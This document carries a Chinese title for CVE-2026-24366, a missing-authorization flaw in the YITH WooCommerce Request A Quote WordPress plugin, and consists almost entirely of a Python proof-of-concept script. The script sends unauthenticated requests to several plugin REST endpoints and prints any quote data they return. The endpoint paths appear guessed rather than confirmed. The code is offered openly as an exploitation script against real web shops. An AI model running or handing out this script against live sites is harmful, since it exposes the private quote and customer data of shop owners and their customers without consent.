CVE-2026-24366 YITH WooCommerce Request A Quote 缺失授权漏洞

import requests # CVE-2026-24366 PoC - Missing Authorization in YITH WooCommerce Request A Quote # Target: WordPress site with YITH WooCommerce Request A Quote plugin <= 2.46.0 TARGET_URL = "http://target-site.com" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2026-24366 This vulnerability allows unauthenticated access to quote management endpoints """ # Try to access quote list endpoint without authentication endpoints = [ f"{TARGET_URL}/wp-json/yith-woocommerce-request-a-quote/v1/quotes", f"{TARGET_URL}/wp-json/yith-woocommerce-request-a-quote/v1/quote-requests", f"{TARGET_URL}/?rest_route=/yith-woocommerce-request-a-quote/v1/quotes" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) # If status code is 200 and contains quote data, vulnerability exists if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def exploit_authorization_bypass(): """ Exploit the missing authorization vulnerability to retrieve quote data without authentication """ exploit_url = f"{TARGET_URL}/wp-json/yith-woocommerce-request-a-quote/v1/quotes" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Unauthenticated request - should fail but doesn't due to vulnerability response = requests.get(exploit_url, headers=headers, timeout=10) if response.status_code == 200: print("[!] Authorization bypass successful - sensitive data exposed") print(f"[+] Retrieved data: {response.json()}") return response.json() else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": print("CVE-2026-24366 Exploitation Script") print("Target: YITH WooCommerce Request A Quote <= 2.46.0") check_vulnerability()